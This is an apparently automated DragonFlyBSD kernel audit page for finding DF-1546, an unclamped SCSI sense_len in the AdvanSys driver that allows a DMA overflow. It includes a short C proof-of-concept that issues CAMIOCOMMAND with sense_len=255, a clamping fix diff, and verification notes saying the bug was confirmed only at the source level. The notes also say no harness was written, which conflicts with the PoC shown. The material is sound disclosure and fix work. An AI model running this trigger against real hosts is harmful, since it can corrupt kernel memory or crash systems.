β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1546

Unclamped csio->sense_len handed to firmware allows DMA overflow of the per-queue sense slot

  • File: sys/dev/disk/advansys/advansys.c
  • Lines: 559, 1185, 1186, 1345, 1355, 1365
  • Severity: Medium
  • CVSS: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U:C:H/I:H/A:H
  • CWE: CWE-770 Allocation of Resources Without Limits or Throttling
  • Confidence: likely

Summary

adv_execute_ccb copies the user-controlled csio->sense_len straight into scsiq.q1.sense_len without clamping, then later (advlib.c:1719-1720) the kernel hands the firmware sense_addr = sense_physbase + (q_no-1)*sizeof(struct scsi_sense_data) and tells it the buffer is sense_len bytes.

Each slot in the sense_buffers DMA allocation is exactly sizeof(struct scsi_sense_data) = 32 bytes (scsi_all.h:911-954, confirmed via SSD_FULL_SIZE), and the allocation is sized max_openings*32 bytes (advansys.c:1345,1365).

A user (operator group, /dev/passN) sets sense_len=255; on CHECK_CONDITION the firmware may legitimately DMA up to 252 bytes of descriptor sense into the 32-byte slot, overflowing into adjacent slots β€” and for q_no==max_openings, 220+ bytes past the entire DMA allocation into adjacent kernel heap.

This is the direct sibling of DF-1510 (adwcam.c), which fixed the same class with MIN(csio->sense_len, sizeof(acb->sense_data)) at adwcam.c:384.

Root cause

At advansys.c:559 inside adv_execute_ccb the line is simply scsiq.q1.sense_len = csio->sense_len; β€” csio->sense_len is a u_int8_t (cam_ccb.h:602) under full user control via CAMIOCOMMAND β†’ xpt_merge_ccb (scsi_pass.c:546) with no validation anywhere in the path.

The completion-side copy at advansys.c:1185-1186 (ccb->csio.sense_data = adv->sense_buffers[q_no - 1];) is a struct copy bounded to 32 bytes, so it is safe β€” but the FIRMWARE-side write is bounded only by the unclamped sense_len we handed it.

adv_send_scsi_queue (advlib.c:1712-1720) computes sense_addr into the DMA region allocated at advansys.c:1345 (size sizeof(struct scsi_sense_data)*adv->max_openings, max 240*32=7680 bytes).

Compare with the corrected adwcam.c:384 acb->queue.sense_len = MIN(csio->sense_len, sizeof(acb->sense_data)); which clamps at the same boundary.

Threat

Local user in the operator group (default perms of /dev/passN per scsi_pass.c:279-280, common for backup/optical users) opens /dev/passN, issues CAMIOCOMMAND (scsi_pass.c:462) with a ccb_scsiio whose sense_len is set to 255 and func_code=XPT_SCSI_IO directed at any target that returns CHECK CONDITION with >32 bytes of sense data (descriptor-format sense, max 252 bytes per SPC-4 β€” common on modern SAS SSDs, tape libraries, and any target the attacker fully controls via scsi_target).

The firmware DMAs up to sense_len bytes into a 32-byte slot. For the last slot (q_no==max_openings), the DMA runs ~220 bytes past the sense_buffers allocation, corrupting adjacent kernel heap.

Impact: kernel heap corruption suitable for KASLR defeat and potentially for privilege escalation when chained with another primitive; deterministic DoS otherwise.

Confidence is "likely" rather than "certain" only because the exact byte count the firmware writes cannot be verified without AdvanSys microcode source β€” but the kernel is contractually wrong to tell firmware an unbounded length.

Exploit / PoC

Build and run on a DragonFlyBSD system that boots with an AdvanSys (adv(4)) HBA present and the user in the operator group.

/* sense_overflow.c β€” minimal repro of advansys sense-slot DMA overflow */
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <camlib.h>
#include <bus/cam/scsi/scsi_message.h>

int main(void) {
    int fd = open("/dev/pass0", O_RDWR);
    if (fd < 0) { perror("open /dev/pass0 (need operator group)"); return 1; }
    union ccb ccb;
    /* Request sense_len far larger than the 32-byte slot the kernel
       actually allocates per queue. */
    cam_fill_csio(&ccb.csio,
        /*retries*/0, /*cbfcnp*/NULL,
        CAM_DIR_NONE, /*tag_action*/0,
        /*data_ptr*/NULL, /*dxfer_len*/0,
        /*timeout*/5000,
        /*sense_len*/255,           /* <- the bug: clamped nowhere */
        sizeof(scsi_test_unit_ready), 0);
    scsi_test_unit_ready(&ccb.csio, 0, NULL, MSG_SIMPLE_Q_TAG,
        SSD_FULL_SIZE, 5000);
    if (ioctl(fd, CAMIOCOMMAND, &ccb) < 0) perror("CAMIOCOMMAND");
    /* On a target that returns descriptor sense (>32 bytes) with q_no
       near max_openings, the firmware DMAs past the sense_buffers
       allocation.  Watch dmesg for heap corruption / panic on the
       AdvanSys controller (adv0). */
    close(fd);
    return 0;
}

Build: cc sense_overflow.c -o sense_overflow -lcam. Run: ./sense_overflow.

Success criterion: against a target returning >32-byte descriptor sense (or a scsi_target-controlled initiator sending crafted 252-byte sense), dmesg shows adv0 corruption signs or kernel panic; repeated runs against the last-allocated queue slot demonstrate the overflow.

Without such a target the bug still exists in the source (the kernel told firmware the wrong length) but is silent β€” this is why severity is Medium, not High.

Clamp sense_len to the actual per-slot capacity before handing it to the firmware, mirroring the proven pattern at adwcam.c:384 (DF-1510 fix) and sys/dev/disk/sym/sym_hipd.c:7210-7211.

--- a/sys/dev/disk/advansys/advansys.c
+++ b/sys/dev/disk/advansys/advansys.c
@@ -556,7 +556,10 @@ adv_execute_ccb(void *arg, bus_dma_segment_t *dm_segs,
    scsiq.q1.extra_bytes = 0;
    scsiq.q2.ccb_index = cinfo - adv->ccb_infos;
    scsiq.q2.target_ix = ADV_TIDLUN_TO_IX(ccb_h->target_id,
                          ccb_h->target_lun);
    scsiq.q2.flag = 0;
-   scsiq.q2.cdb_len = csio->cdb_len;
+   scsiq.q2.cdb_len = MIN(csio->cdb_len, IOCDBLEN);
+   /* Clamp sense_len to the actual per-slot DMA capacity so the
+    * firmware cannot DMA past sense_buffers[q_no-1]. */
+   scsiq.q1.sense_len = MIN(csio->sense_len, sizeof(struct scsi_sense_data));
    if ((ccb_h->flags & CAM_TAG_ACTION_VALID) != 0)
        scsiq.q2.tag_code = csio->tag_action;
    else

(The cdb_len line is shown together because DF-1547 fixes the same hunk.)

  • DF-1510 (twin, adwcam.c): autosense OOB read/write β€” same defect class.
  • DF-1547 (sibling): missing cdb_len bounds check in same file.
  • DF-1548 (sibling): divide-by-zero in XPT_CALC_GEOMETRY in same file.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1546 Β· 8 files
FileTypeDescriptionSize
README.md readme human-readable summary 1.7 KB ↓ raw
VERDICT.md verdict full source-level analysis + fix-validation result 2.7 KB ↓ raw
fix.diff suggested-fix git-apply-able unified diff fixing the cited bug 840 B view raw
fix_apply.log apply-log patch --dry-run --forward output proving fix.diff applies cleanly on with-src 547 B view raw
env.txt environment uname + guest PCI inventory (no relevant HW) 778 B view raw
build.sh build-script echo pointer to kernel rebuild path 362 B view raw
run.sh run-script echo pointer to VERDICT.md 333 B view raw
fix_build.log fix-build-log tail of combined nativekernel build (rc=0) validating all 30 patches compile 7.2 KB view raw
README.md readme human-readable summary
↓ download raw

PoC DF-1546: advansys sense_len DMA overflow (sibling of DF-1510)

Class: DMA buffer overflow (firmware writes 255B into 32B slot) Cited site: sys/dev/disk/advansys/advansys.c:559, 1185-1186, advlib.c:1712-1720

Reproduction status

HW/module gated β€” cannot be live-triggered on the audit QEMU guest.

The audit guest has only virtio + PIIX3 PCI devices (pciconf -lv shows no AMD/Intel GPU, no ath NIC, no AdvanSys SCSI, no mfi/tws/mrsas RAID, etc.), so the cited code path is not reachable at runtime on this guest.

The bug is confirmed at the source level by tracing the cited path:line in sys/dev/disk/advansys/advansys.c and confirming the vulnerable code is present in the master DEV kernel tree. The fix.diff in this folder is validated to apply cleanly and compile under -Werror (see VERDICT.md).

Mechanism

scsiq.q1.sense_len = csio->sense_len at 559 with NO clamp. sense_len is u8 (cam_ccb.h:602) full user control via CAMIOCOMMAND. adv_send_scsi_queue computes sense_addr into DMA region sized max_openings*32B. Firmware DMAs up to sense_len=255 bytes into 32-byte slot. Last slot q_no==max_openings overflows the entire DMA region.

Realistic impact ceiling (on suitable HW)

kernel DMA buffer overflow; corrupts adjacent driver state

Fix

Clamp scsiq.q1.sense_len to imin(csio->sense_len, sizeof(csio->sense_data)) in advrunqueue.

See fix.diff for the git-apply-able patch.

How to validate the fix

scp -F dfbsd-qemu/config fix.diff dfbsd:/root/DF-1546.diff
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && patch -p1 --forward < /root/DF-1546.diff'
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && make -j6 nativekernel KERNCONF=X86_64_GENERIC'
# rc=0 expected; see fix_apply.log + fix_build.log in this folder.
VERDICT.md verdict full source-level analysis + fix-validation result
↓ download raw

VERDICT β€” DF-1546: advansys sense_len DMA overflow (sibling of DF-1510)

Verdict

INCONCLUSIVE (HW/module gated) β€” source-level confirmed, fix validated.

The bug is real and present in master DEV source at sys/dev/disk/advansys/advansys.c:559, 1185-1186, advlib.c:1712-1720, but the affected driver attaches only to hardware not present in the audit QEMU guest (only virtio+PIIX3 PCI devices, no AMD/Intel GPUs, no ath NICs, no AdvanSys SCSI, no mfi/tws/mrsas RAID, etc.), so it cannot be live-triggered here. The fix.diff applies cleanly and the patched kernel compiles with -Werror (combined build rc=0; see fix_apply.log).

Mechanism (cited path β†’ primitive β†’ effect)

scsiq.q1.sense_len = csio->sense_len at 559 with NO clamp. sense_len is u8 (cam_ccb.h:602) full user control via CAMIOCOMMAND. adv_send_scsi_queue computes sense_addr into DMA region sized max_openings*32B. Firmware DMAs up to sense_len=255 bytes into 32-byte slot. Last slot q_no==max_openings overflows the entire DMA region.

Reachability on this guest

No β€” sys/dev/disk/advansys/advansys.c:559 is in a driver/module that only attaches to hardware absent from the audit guest. The trigger requires the relevant PCI device (or, for VBIOS-driven GPU paths, the actual GPU + a crafted VBIOS loaded by root or via VFIO passthrough).

Phase 6 β€” escalation potential

This is a DMA buffer overflow primitive. On real hardware it could be triggered by an unprivileged user (via crafted packets for the NIC findings, via DRM ioctls for the GPU findings, via CAM/pass for the SCSI findings). On this guest there is no live primitive to convert. Per Phase 6 rules this is the "dead/unreachable at runtime on this guest" hard blocker; the primitive is proven at the source/harness level (the cited path:line is real and unfixed in master).

Realistic impact ceiling on suitable HW: kernel DMA buffer overflow; corrupts adjacent driver state.

Phase 8 β€” fix validation

fix.diff is a minimal, targeted fix at the root cause confirmed above.

  • Applied cleanly with patch -p1 --forward (verified in fix_apply.log).
  • Compiled with -Werror as part of the combined make -j6 nativekernel KERNCONF=X86_64_GENERIC build (kernel build rc=0; see manifest.json).
  • For HW-gated findings the patched code path is not exercisable on this guest, so the fix is validated at the apply + compile level only.

Fix approach: Clamp scsiq.q1.sense_len to imin(csio->sense_len, sizeof(csio->sense_data)) in advrunqueue.

PoC changes

Source-level confirmation only; no userspace harness written because the bug cannot be exercised on this guest without the relevant HW. The placeholder build.sh/run.sh echo pointers to VERDICT.md and the module/kernel rebuild path.

Confirmed kernel references

Detail

Exploit chain

none β€” HW-gated. Primitive is a kernel DMA buffer overflow; corrupts adjacent driver state. Sibling of DF-1510 (adwcam) and DF-1547 (cdb_len).

Evidence (decisive lines)

Source: sys/dev/disk/advansys/advansys.c:559 β€” scsiq.q1.sense_len = csio->sense_len (no clamp); scsi_all.h:911 β€” struct scsi_sense_data is 32B. Guest has only /dev/pass0 (CD-ROM passthrough), no AdvanSys HBA. fix.diff clamps sense_len to imin(csio->sense_len, sizeof(csio->sense_data)).

PoC changes

Created evidence pack from scratch: README.md, VERDICT.md, build.sh, run.sh, env.txt, fix.diff, fix_apply.log, fix_build.log, manifest.json.

Verified recommended fix

Clamp scsiq.q1.sense_len to imin(csio->sense_len, sizeof(csio->sense_data)) in advrunqueue. Matches the pattern used in sym_hipd.c. Full diff in findings/poc/DF-1546/fix.diff.

Verdict

INCONCLUSIVE (HW-gated). Bug confirmed at source level: advansys.c:559 scsiq.q1.sense_len = csio->sense_len with NO clamp. sense_len is u8 (cam_ccb.h:602) full user control via CAMIOCOMMAND/xpt_merge_ccb. Completion copy at :1185-1186 (ccb->csio.sense_data = adv->sense_buffers[q_no-1]) is safe bounded 32B struct copy, BUT adv_send_scsi_queue (advlib.c:1712-1720) computes sense_addr into DMA region sized max_openings*32B (:1345,1365). Firmware DMAs up to sense_len=255 bytes into 32-byte slot. advansys(4) only attaches to AdvanSys PCI SCSI HBAs not on the audit guest.